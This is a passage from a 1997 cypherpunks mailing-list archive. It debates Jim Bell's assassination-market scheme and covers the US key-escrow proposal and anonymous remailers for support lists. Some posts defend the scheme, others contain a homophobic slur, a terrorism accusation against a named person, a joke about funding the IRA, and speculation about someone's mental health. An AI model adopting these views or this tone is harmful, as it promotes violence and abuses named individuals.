be allowed while Bell's theoretical design of a system to fight
oppression is not to be allowed?

  Does the government wait until the enemies missles are launched
to start preparing plans for defence and counter-attack?
  It is outright riduclous to suggest that individuals and groups
should act otherwise, and contrary to their own self-interest.

  Government and corporate entities are regularly castigated on
the cypherpunks list as thugs who must be dealt with in one manner
or another. Various levels of action are suggested in relation to
the severity of the infringement on our interests. 
   Jim Bell's pet project was to work on a solution for problems
which reached the point of requiring the ultimate action--total
removal of the threat. Each cypherpunk had his or her own views
of what constituted a problem of that magnitude. 
  To suggest that any cypherpunk should not be allowed to express 
his or her opinion in regard to who his solution might apply to, 
and why, is not much different than saying that none of our 
discussions should address specific issues, only generalities.
  This is akin to saying that we cannot mention older people,
or sick people, when discussing euthanasia.

  Excuse me, but someone is shooting at me.
  I need to go buy a gun...

TruthMonger
  




************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 13:26:27 -0800 (PST)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <5i3942$e76@life.ai.mit.edu>
Message-ID: <334565C3.6374@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk pissed off Hallam-Baker to the 
extent that gave up all pretense hiding his support for
a New World Order, and wrote:

> I have degrees in Nuclear Physics, Electronic Engineering, I have
> been offered a contract for my book on the philosophy of
> communication.

   ...so the rest of us are just dirt under your feet?
 
> I don't believe that people
> are fit judges of their own cause as Bell and you do.
 
  So we should only fight for other people's causes, and not
our own? Or not fight at all?
  It sounds to me like Jim Bell isn't the only one on the list
with his own drug lab. Did you bring enough for everybody, Phill?

<earlier>
> Who decides what "innocent" was?
<now>
>  Bells plan would lead to murder of innocent people.

  Well, I guess that now we know *who* decides.
  Send me a list of the "innocent" people, Phill, and I'll put
them in the blocking list on my AP-Bot.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 4 Apr 1997 12:57:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hallam-Baker messes himself.
Message-ID: <20571263600017@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker, pissing all over his own train of logic, wrote:

> It is because Bell's scheme is entirely preposterous that Digital
> cash is possible. There is simply no way an AP contract could be
> enforced.
> No country could allow such a betting pool to operate from its soil,
> nor any other such cover.
> 
> I will not only refuse to support Bell, I'll testify against him in
> court if asked.

  What are you going to testify to?
  To Bell's scheme not being a threat to anybody because it would
never work?  That it is nothing more than a theoretical exercise
which does not present a danger to a single soul? That it is 
preposterous of the government to prosecute someone on the basis
of a pie-in-the-sky, preposterous idea?

  I'm certain the government is anxiously awaiting your testimony,
as well as that of a number of others on the list who seem to think
that Jim Bell is such a powerful and evil force that his mere 
thoughts and speculations are an overwhelming threat to civilization
as we know it.

  Everyone who thinks they can implement Jim Bell's AP system
in the near future, raise both hands.
  Now bend over backwards, placing your head near your rectum.
  Now...

TruthMonger
  



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
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 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ForeFront <webmaster@sldc.ffg.com>
Date: Fri, 4 Apr 1997 14:04:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: News from the Front
Message-ID: <B0000191882@bs.net>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
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http://www.ffg.com		     Mailing List  3/31/97
-----------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nolegz@juno.com (Lloyd E Briggs)
Date: Fri, 4 Apr 1997 13:19:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <um2L5D45w165w@bwalk.dm.com>
Message-ID: <19970404.154747.11926.0.NOLEGZ@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


I would like to be removed from this mailing list please


On Thu, 03 Apr 97 19:24:05 EST dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
writes:
>"Timothy C. May" <tcmay@got.net> writes:
>> Next came the vaunted 6600, after almost not being funded to 
>completion. It
>> waws the first true supercomputer. Cray had moved his team up to 
>Chippewa
>  ^^^^???
>
>I used to play with a 6600. It had some interesting hardware features:
>* It used one's complement rather than two's complement to represent 
>negative
>integers. (I.e. -x is the same as not x; a pattern of all 1's is 
>'-0'.)
>* It had 60-bit words for both integers and single-precision reals.
>A 120-bit double precision was pretty slow. A word could fit 10 6-bit
>characters, but any kind of text processing was a bitch.
>* 15-bit addresses referred to the whole word. A word could contain
>several instructions, but only an instruction on a word boundary
>could be a target of a branch.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 
>14.4Kbps
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 13:42:38 -0800 (PST)
To: Steve <privsoft@ix.netcom.com>
Subject: Re: US Domestic GAK
In-Reply-To: <334571A3.3B05@ix.netcom.com>
Message-ID: <334575BC.4233@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
> Has Anyone heard about this?????

> Clinton administration has new encryption proposal
>       Network World via Individual Inc. : Washington, D.C.

> Now in its first formal legislative document...that law 
> enforcement be given access to that data
> based on a simple request from a law enforcement or 
  ^^^^^^^^^^^^^^^^^^^^^^^^^
> government security agency.

  I think most list members heard about this by sticking
their wet finger in the wind, long before the offical
words were spoken.
  Anyone surprised by the news needs to spank themselves. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Fri, 4 Apr 1997 13:23:22 -0800 (PST)
To: cypherpunks@algebra.com
Subject: US Domestic GAK
Message-ID: <334571A3.3B05@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Has Anyone heard about this?????
sorrin
privsoft@ix.netcom.com

Clinton administration has new encryption proposal

      Network World via Individual Inc. : Washington, D.C.

      For months the Clinton administration has lobbied for its version
      of key escrow that largely focused on encryption export.

      Now in its first formal legislative document, the White House is
      asking that its policy also apply to data encrypted within U.S.
      borders and that law enforcement be given access to that data
      based on a simple request from a law enforcement or government
      security agency.

      The U.S. Attorney General will set up the specific rules for
written
      authorization. Civil liberties groups highly critical of the White
      House plan pointed out that under the basic guidelines it will be
      easier for law enforcement to get encryption keys than to tap
      phones, which requires a warrant or court order.

      The administration does not just face domestic opposition to its
      proposed policy. The international community, represented by the
      29-nation Organization for Economic Cooperation and
      Development (OECD), also has not rallied behind the Clinton
      cause.

      After a year of study and intense lobbying by the U.S. Justice
      Department, the OECD, based in Brussels, Belgium, last week
      released the ``Cryptography Policy Guidelines,'' an eight-point
      document that recognizes nations may want to have access to
      cryptographic keys or un-scrambled plaintext. But the OECD
      guidelines fall far short of recommending key recovery as the
      preferred international approach.

      Some participants in the OECD crypto-policy effort were pleased
      with its outcome, including Marc Rotenberg, director of the
      Electronic Privacy Information Center here.

      ``There's a strong emphasis here on privacy and voluntary market
      guidelines,'' Rotenberg said. The OECD guidelines state that users
      should have a choice in cryptography, that cryptography should
      be driven by business requirements, and that the privacy of
      personal data and the secrecy of communications should be
      respected.

      Congressional cold shoulder So far, no legislators on Capitol Hill
      have embraced the ideas in the administration-drafted legislation,
      the Electronic Data Security Act of 1997, which also calls for
      nationally certified key-recovery centers for storing copies of
      encryption keys.

      ``From our point of view, it's a breathtaking expansion of law
      enforcement's surveillance au-thority,'' said Alan Davidson, staff
      counsel at the Washington, D.C.-based Center for Democracy and
      Technology (CDT) about the draft bill. The CDT has posted the
      bill on its Web site, www.cdt.org.

      Commerce Department Un-der Secretary William Reinsch, whose
      office took the lead in drafting the bill, last week had no
comment.

      The draft bill emphasizes that the key-recovery regulation is
      voluntary in the U.S., but opponents argue otherwise.

      The White House draft defines as the federal standard only digital
      certificates that work with key-recovery encryption products.

      And under the drafted bill, employees working in a
      government-certified key-recovery center would be spared any
      civil or criminal liabilities for disclosing decrypted information
to
 a
      government agency.

      Through the economic in-centives and regulatory impact of the
      Clinton administration bill, ``they plan to severely limit [the
      products] you can choose from,'' according to Jim Bidzos,
      president of RSA Data Security, Inc., whose public-key
      technology is widely deployed in encryption products. ``The
      intent is to discourage the use of strong, unescrowed encryption
      in the U. S.''

      [Copyright 1997, Network World]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 4 Apr 1997 16:53:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim May badmouths anonymity.
Message-ID: <199704050053.QAA11133@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> This kind of ad hominem is to be expected from someone hiding behind
> anonymity.

  What a hypocrytical crock of shit.
  Are you concerned that your pal, Hallam-Baker, won't be able to 
"testify" against me when the Feds kick in my door as a supporter
of Jim Bell?

>  This message is clear-signed as being
> from "TruthMonger," but, in fact, it could be from anyone.

  TruthMonger is a multi-user Net persona, meant to be used
for that very reason.
  It is handy for lessening the ability of others to refuse to
deal with presented facts and logic, instead choosing to 
attempt refuting opinions through grand pronouncements as
to the writer's position in an imaginary elitist reputation 
capital scheme.

> If it is from
> the entity TruthMonger, and he wishes to have a persistent net personna, he
> ought to look into PGP-signing his remailed messages, or using a nym
> account.

  I have a persistent net persona. It's in your killfile.
 
> And as for my views causing the tanks to roll through Poland, etc., this is
> "magical thinking" at its worst. *
  {* DisinfoTranslation Technique (c) Greg Broiles}

  Either get your head out of your butt and learn to accurately
read and/or interpret the statements of others, or get a job
at C2Net.

> >  So, Tim and Phill, which one of you wants to step up to the plate
> >and be the first one to attempt to ostracize him so that his views
> >about the need for anonymous communications will not be taken as
> >representative of the cypherpunks views?
> 
> Fatuous nonsense. I'm not sure what "TruthMonger" means by "ostracize."

  There seems to be a tendency by some on the list to dismiss 
the posts of others by labeling them a 'loon' or somesuch 
derogatory term, rather than  addressing their logic and 
message, per se. 
  The fact that Bell tends to beat the AP drum ceaselessly may
make his repetiveness boring, but in no way makes his system
less valid than more mainstream methodologies. There is hardly
anyone on the list whose missives don't occassionally skip
like a broken record, but they are not labeled lunatics as 
long as they stay in the middle of the road. 
  (You might say that Bell has a "persistent net persona.")

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:28:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <860166103.1027983.0@fatmans.demon.co.uk>
Message-ID: <msqN5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> 
> > Jim is hardly the ideal poster boy for a free speech cause, but we should
> > not distance ourselves from him when he runs into problems directly
> > related to his advocacy of anonymous markets.  That cuts too closely
> > for comfort.  We should defend Jim's right to discuss AP and any other
> > institutions which may arise as a natural consequence of the capabilities
> > engendered by cryptography.  That is one of the main things this list is
> > for.  If they can silence Jim, it's going to be just a matter of time befor
> > they go after someone else.
> 
> I really cannot understand the posts I have been reading to the 
> effect that Jim Bell is a "loon" or a "terrorist" etc...
> If we do not protect the freedom of expression of the loons, fuckups, 
> terrorists and Bells of this world it will be our freedom that is 
> threatened next. As far as I know, anyway, Jim`s AP essay (the 
> original plan overview) was perfectly sane and discussed the problems 
> of people using it to commit crime by killing an innocent person as 
> well as the advantagest of the plan. 
> I will allow that some of his subsequent posts have been a little 
> "loon" like but I have never considered him to be a foaming at the 
> mouth madman as some do.

Someone said: "popular speech does not need protection".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:30:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <33453A2A.167E@ai.mit.edu>
Message-ID: <RwqN5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker <hallam@ai.mit.edu> writes:

> Timothy C. May wrote:
> > 
> > At 3:17 PM -0800 4/3/97, Anil Das wrote:
> >     Gee. I too wonder about that, since I am pretty
> > >sure the Feds don't have to time to read the cypherpunks
> > >list.
> > 
> > This is simply not true. Various government agencies/employees read the
> > Cypherpunks list.
> 
> Absolutely! I know quite a few who do.
> 
> Before Oaklahoma I spent some time trying to persuade people to take
> notice of the net.activities of the likes of Ahmed Cosar, an agent
> of the Turkish secret service who posted inflamatory material about
> Armenia into various newsgroups under the name Hasan B. Mutlu and 
> Serdar Argic. I'd guess that at this point the FBI has its own
> version of DejaNews.

Of course, everything Serdar Argic posted to Usenet was 100% documented truth.

The FBI would be better advised to look a close look at the terrorist activity
of one Ray "Arsen" Arachelian, an ASALA sympathizer in the employ of Earthweb,
LLP.

> 
> Its not hard to do analysis of USEnet, a bit of simple graph
> analysis. The real loons tend to turn up on the net.kooks 
> list quites quickly in any case.
> 
> 
> > This is not a matter of thinking ourselves self-important; this is just a
> > simple observation that there aren't a lot of places with more incisive
> > analysis of issues of importance to these folks. 
> 
> Plus not everyone in the agencies are pro the administration line. 
> I've met plenty of CIA and NSA people who think the GAK idea a
> pointless and futile waste of time. 
> 
> I suspect that most analysts read c'punks for the same reason I
> do, to get the widest possible range of views on what the posibilities
> for the future are.
> 
> 
> > Political advocacy is one thing, but making threats, even veiled ones, is
> > another matter.
> 
> Absolutely, that is why I was keen for people to oppose Bell's views.
> If his ramblings had gone unchallenged he would now be being
> presented as a representative of Cypherpunk/ pro-crypto views.
> 
> Besides anything else Bell was like the party bore with a 
> hobby horse he just has to talk about. I'm somewhat more
> sensitive than most to advocates of murdering government 
> officials, some of my relatives are in government and have 
> had well publicised assasination attempts against them.
> 
> 
> I think that Bell's on-list comments may well have been protected
> speech but I'm not sure about his off list comments. I'm scanning
> through my old mail files at the moment for missives from Bell
> re-reading them. 
> 
> I think that Bell's posts were entirely different from Tim's or
> for that matter almost every other person on the list. Tim 
> demonstrated that a covert information sales organisation was
> possible with Blacknet but he never advocated setting it up. 
> Indeed part of the point was the ethical responsibilities. Bell
> on the other hand was likely to respond to any post with his
> AP piece. I have throughout considered these to be incitement to 
> murder.
> 
> 
> It seems quite likely that Bell may have made a statement to an
> IRS official that in the context of his authoring the AP piece
> may have constituted a threat. If he spouted "Common law court" 
> theories as often to the IRS as he did AP on cypherpunks he would
> certainly have been marked for scrutiny. Its not hard to 
> connect with his AP piece which has been all over USEnet. According
> to the story they got it from a copy left behind in Bell's 
> seized Honda.
> 
> 
> 	Phill


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Fri, 4 Apr 1997 17:59:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Bell warrant, affidavit, return
Message-ID: <3.0.1.32.19970404172817.008b7920@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



This is the way to get copies of court filings in far-away places:

Call the court. Tell the person who answers the phone that you want to get
a copy of pleadings (or whatever it is you want a copy of) filed in a
particular case, giving them as much information as you have about the
case. When you're looking for a search warrant, that information will
usually be the address of the property searched and the date/time that the
search began. In other cases, it's the case number/file number, (or, more
annoying for the clerk, the name of the plaintiff and/or defendant). 

If the clerk can find the file based on the information you had, and the
contents aren't sealed, they'll give you the name/phone number of a
messenger service or copy service who will pick up copies from the court
and then FAX or mail them to you. They usually charge somewhere in the
neighborhood of $1 per page plus costs (like postage or phone) for this
service.

In Jim's case, the copy service's phone number is 206-383-1791. I received
FAX copies of the search warrant, supporting affidavit, and
return/inventory today. They're billing me for the charges incurred, which
I expect will be in the neighborhood of $25. I'm planning to scan them
tonight and make them available via the web, modulo personal information
which I will black out. 

Comments about a good way to balance public interest/privacy when making
the docs available are welcome. Have thought about publishing the documents
as images (not text) to foil indexing, about eliminating "personal" info like 
SS numbers, address, and serial number(s) of seized items. I think the text
of the affidavit is especially useful and instructive in terms of the
understanding it provides into the law enforcement view of
cpunks/anonymity/Internet issues. 

[Also received the Wassenaar Arrangement in response to my FOIA request,
along with the Secret Service's response ("no records") and a denial of my
appeal from the SF FBI office's "no records" response. Am planning to scan
those, too.]


--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 14:42:58 -0800 (PST)
To: "'toto@sk.sympatico.ca>
Subject: RE: Feds reading this list, Jim Bell, and threats
Message-ID: <01BC4120.2E4A9550@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




>paul@fatmans.demon.co.uk pissed off Hallam-Baker to the 
>extent that gave up all pretense hiding his support for
>a New World Order, and wrote:

Yeah, like I wrote in "The Laird of the new world order".

...
They said they worked for freedom but they had another plan.
The only new world order is, obey your Uncle Sam.

Must be in deep, deep cover.

>> I have degrees in Nuclear Physics, Electronic Engineering, I have
>> been offered a contract for my book on the philosophy of
>> communication.

 >  ...so the rest of us are just dirt under your feet?
 
I was pointing out that the attempt to claim that the rest of
us poor slobs didn't see Jim Bell as a shining Messiah was
not because we were too stupid to understand him as claimed.

>> I don't believe that people
>> are fit judges of their own cause as Bell and you do.
 
> So we should only fight for other people's causes, and not
>our own? Or not fight at all?
 
I think that before you murder someone because you think they 
are wrong you need to at the very least put the matter to an impartial
arbitrator.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:22:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cryptographer Hits SNL
In-Reply-To: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com>
Message-ID: <yZqN5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> Ex-Sandia Labs cryptographer William Payne has filed criminal 
> charges with Judge Marilyn Patel against an SNL official for 
> unauthorized disclosure of files:
> 
>    http://jya.com/snlhit.htm
> 
> 

Bill Payne is a very interestin guy.

If anyone figures out a polynomial-time factorization algorithm using
shift registers, it would probably be Bill Payne.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mid West Electronics <midwest@internetmedia.com>
Date: Fri, 4 Apr 1997 14:35:12 -0800 (PST)
To: midwest@internetmedia.com
Subject: Save Money...Own your own Cable Descrambler!
Message-ID: <bulk.6506.19970404143001@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 16:27:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: I hope thr IRA nails Hallam-Baker...
In-Reply-To: <19970404124803.38657@bywater.songbird.com>
Message-ID: <gFRN5D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote:
> > On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:
> [...]
> 
> > Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not
> > closer to Jim Bell than he is to you in challenging the arrogant mullahs
> > of highly sophisticated armed thuggery. Who you shillinging for these 
> > days, Crispin's bandits of the NLs?
> 
> Crispin shills for himself, not the NLs or any bandits or anyone else. 
> Phil Hallam-Baker shills for Phil Hallam-Baker.  Jim Bell's advocacy
> of armed thuggery speaks for itself. 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html

I just noticed how when I first called Cocksucker John Gilmore an
NSA shill (which he is), some people didnb't know what the fuck it
was, but now everyone's accusing everyone else of shilling.

How can one donate money to rthe IRA anyway?

Hallam baker convinced me to.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 16:09:21 -0800 (PST)
To: Michael C Taylor <mctaylor@mta.ca>
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <Pine.LNX.3.95.970404181931.473H-100000@fractal.mta.ca>
Message-ID: <33459704.3F09@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Michael C Taylor wrote:
> On Fri, 4 Apr 1997, Toto wrote:
> 
> >  If a list operator can program a remailer to send only to their
> > own list, then they can make it a subscriber and allow people who
> > fear being discovered to post their concerns through it anonymously,
> > and advertise its existence in places where those most likely to
> > need it will find out about the service.
> 
> Is there a combo-solution existing, an self-anonymouizing mailing list?
 
> That is, you send the message to the list as normal listname@myhost.com,
> it strips the From: headers and other headers, and forwards it to a closed
> mailing list (only members can post, disabled 'who', ...).

  I'm not certain, being far from an expert on remailers and 
majordomos. I've had one person indicate that majordomos could 
be configured to keep all users anonymous, but didn't know
if it could be done selectively in the case of anonymous
remailers. He is supposed to get back to me on it.

  I have been experimenting with Windows remailers, but haven't
found any that allow one to specify only a single, or group of,
Mail To: addresses.
  I made an offer to a friend to attempt to find an anonymizing
solution for a group of related health lists, so that their 
subscribers would feel free to discuss extremely personal issues
of great concern. Also, there is the issue of health providers
cruising the list to find personal information which they can
use to drop coverage for those they deem to be a potential
financial burden to their company.

  They have a need to keep their lists closed except to subscribers
in order to block total assholes who do things like sending posts
to suicidal people telling them to kill themselves, etc.
  A privately run remailer would allow the moderator to instantly 
block anonymous access to an individual who harasses list members,
or the group as a whole. (People with disabilities tend to get
enough crapola out in the normal world, without needing to get
it in a health support forum.)

  I haven't had a chance to delve into the problem too deeply,
as of yet, so any suggestions or pointers would be appreciated.
  I think that this is a situation which addresses the legitimate
use of anonymous remailers that many remailer operators would
consider to be the type of benefit that they are trying to promote
in giving their time and effort to providing anonymous remailer
services.
  It certainly wouldn't harm the cause of anonymous remailers to
have a few positive examples of the good results that can come
from providing anonymous email capabilities.

> Please CC to me any remailer-operator only followups.
> --
> Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
> Programmer, Mount Allison University, Canada

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 4 Apr 1997 14:21:32 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <3345308A.6DC3@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.95.970404181931.473H-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Toto wrote:

>  If a list operator can program a remailer to send only to their
> own list, then they can make it a subscriber and allow people who
> fear being discovered to post their concerns through it anonymously,
> and advertise its existence in places where those most likely to
> need it will find out about the service.

Is there a combo-solution existing, an self-anonymouizing mailing list?

That is, you send the message to the list as normal listname@myhost.com,
it strips the From: headers and other headers, and forwards it to a closed
mailing list (only members can post, disabled 'who', ...).

Please CC to me any remailer-operator only followups.
--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
Programmer, Mount Allison University, Canada







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:05:19 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: The Laird
In-Reply-To: <01BC4120.30527340@crecy.ai.mit.edu>
Message-ID: <3345A39E.573D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M. Hallam-Baker wrote:
> 
> >paul@fatmans.demon.co.uk pissed off Hallam-Baker to the
> >extent that gave up all pretense hiding his support for
> >a New World Order, and wrote:
> 
> Yeah, like I wrote in "The Laird of the new world order".
> ...
> They said they worked for freedom but they had another plan.
> The only new world order is, obey your Uncle Sam.

 I would like to see the complete work, if you have it
available online. 

> Must be in deep, deep cover.

  I'm a conspiracy theorist. Any particular Crayola colour you
would like me to use to draw the links between yourself and
the Cabal?
 
> I was pointing out that the attempt to claim that the rest of
> us poor slobs didn't see Jim Bell as a shining Messiah was
> not because we were too stupid to understand him as claimed.

  I once recorded a tune called, "He used to take acid, and now
he's found God, but he's still got that look in his eye."
  I can't deny that Jim Bell seems to have "that look" in his eye.
 
> >> I don't believe that people
> >> are fit judges of their own cause as Bell and you do.
> 
> > So we should only fight for other people's causes, and not
> >our own? Or not fight at all?
> 
> I think that before you murder someone because you think they
> are wrong you need to at the very least put the matter to an impartial
> arbitrator.

  I believe that the AP system pretty much spreads out the
"arbitration" in much the same manner that the electoral system
does. To me, it is similar to the inter-family dynamics that
take place in Dr. Kevorkian's work, only on a more pervasive
scale.
  I have always seen Jim Bell's work as a theoretical exercise
that deserved a more serious analysis than he, himself, gave it.
It pushed the envelope of issues that need to be dealt with, and
did so in a manner that went beyond seemingly mundane matters
wherein one could easily dismiss the long-term consequences of
the train of logic involved.
  An analogy might be made to those who dismiss a little ass-
grabbing as inconsequential when compared to rape, as opposed 
to those who view it as a precursor to rape.

  Despite my sometimes caustic, irreverent demeanor, I enjoy 
your posts, as they show a thoughtfulness which goes beyond
some of the "Oh yeah! Sez who! Yo' mamma!" threads that 
sometimes prevail on various lists.
  So, don't change on my account, I hate you just the way you
are.  (Please note my aversion to adding little 'happy faces'
to my posts. Humor be humor.)
  
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:05:42 -0800 (PST)
To: Lloyd E Briggs <nolegz@juno.com>
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <um2L5D45w165w@bwalk.dm.com>
Message-ID: <3345A473.72C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lloyd E Briggs wrote:
> 
> I would like to be removed from this mailing list please

  Send your request to jimbell@pacifier.com.
  He has a system that deals with these kinds of requests.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 16:36:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Hallam-Baker is willing to testify
Message-ID: <01BC412D.69723F40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




null@myemail.net wrote in article <5i3vrt$aad@life.ai.mit.edu>...
> 
> Hallam-Baker, pissing all over his own train of logic, wrote:

> > I will not only refuse to support Bell, I'll testify against him in
> > court if asked.
> 
>   What are you going to testify to?

He sent me a considerable amount of material in private email. 

Anonynous insults do not impress me.


>   To Bell's scheme not being a threat to anybody because it would
> never work?  That it is nothing more than a theoretical exercise
> which does not present a danger to a single soul? 

I don't think it was a theoretical exercise. I think Jim scrambled his
brain with a dodgy dose of amphetamines or similar. His posts sounded
to me like the work of someone with a personality disorder who was
working his way up to psychopath.

>That it is 
> preposterous of the government to prosecute someone on the basis
> of a pie-in-the-sky, preposterous idea?

It may sound loony to you but I have no doubt that Jim believed
what he wrote and intended others to act on it. I'm not sure that 
he acted on it himself but I would not be at all suprised.


	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 4 Apr 1997 16:16:34 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <01BC412D.6B3C02C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May <tcmay@got.net> wrote in article <5i3tpu$86h@life.ai.mit.edu>...
> At 1:51 PM -0600 4/4/97, null@myemail.net wrote:
> 
> >  Horseshit. Anybody here ever hear of the Boston Tea Party? How
> >about the American Revolution?  War of Independece? French Revolution?
> >  You know, people who said "Fuck this shit, I've had enough." People
> >who acted in concert to fight injustice and oppression.

